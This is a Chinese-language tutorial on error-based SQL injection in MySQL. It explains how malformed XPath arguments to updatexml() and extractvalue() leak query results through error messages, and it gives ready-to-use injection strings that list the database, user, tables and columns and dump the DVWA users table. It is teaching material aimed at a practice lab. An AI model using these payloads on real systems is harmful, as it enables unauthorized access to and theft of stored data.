SQL报错注入

标签(空格分隔): SQL


–首先引入两个函数

##updatexml()函数

函数语法:
1
updatexml(XML_document,XPath_string,new_value) 第一个参数:是string格式,为XML文档对象的名称,文中为Doc 第二个参数:代表路径,Xpath格式的字符串例如//title【@lang】 第三个参数:string格式,替换查找到的符合条件的数据

函数原理:
updatexml使用时,当xpath_string格式出现错误,mysql则会爆出xpath语法错误(xpath syntax)
1
例如: select * from test where ide = 1 and (updatexml(1,0x7e,3)); 由于0x7e是~,不属于xpath语法格式,因此报出xpath语法错误。

注入流程:
1
2
3
4
5
6
7
8
9
10
11
爆数据库表相关信息:
1' and updatexml(1,concat(0x7e,database(),0x7e,user(),0x7e,@@datadir),1)#

爆当前数据库表信息:
1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) #

爆user表字段信息
1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='dvwa' and table_name='users'),0x7e),1) #

爆数据库内容
1' and updatexml(1,concat(0x7e,(select group_concat(first_name,0x7e,last_name) from dvwa.users)),1) #

##extractvalue()函数
函数语法:

1
语法:extractvalue(XML_document,xpath_string) 第一个参数:string格式,为XML文档对象的名称 第二个参数:xpath_string(xpath格式的字符串) select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));

函数原理:

extractvalue使用时当xpath_string格式出现错误,mysql则会爆出xpath语法错误(xpath syntax)

1
2
3
select user,password from users where user_id=1 and (extractvalue(1,0x7e));

由于0x7e就是~不属于xpath语法格式,因此报出xpath语法错误。

注入流程:

1
2
3
4
5
6
7
8
9
10
11
爆库表信息
1' and extractvalue(1,concat(0x7e,user(),0x7e,database())) #

爆当前数据库信息
1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) #

爆当前表行信息
1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))) #

抓字段
1' and extractvalue(1,concat(0x7e,(select group_concat(user_id,0x7e,first_name,0x3a,last_name) from dvwa.users))) #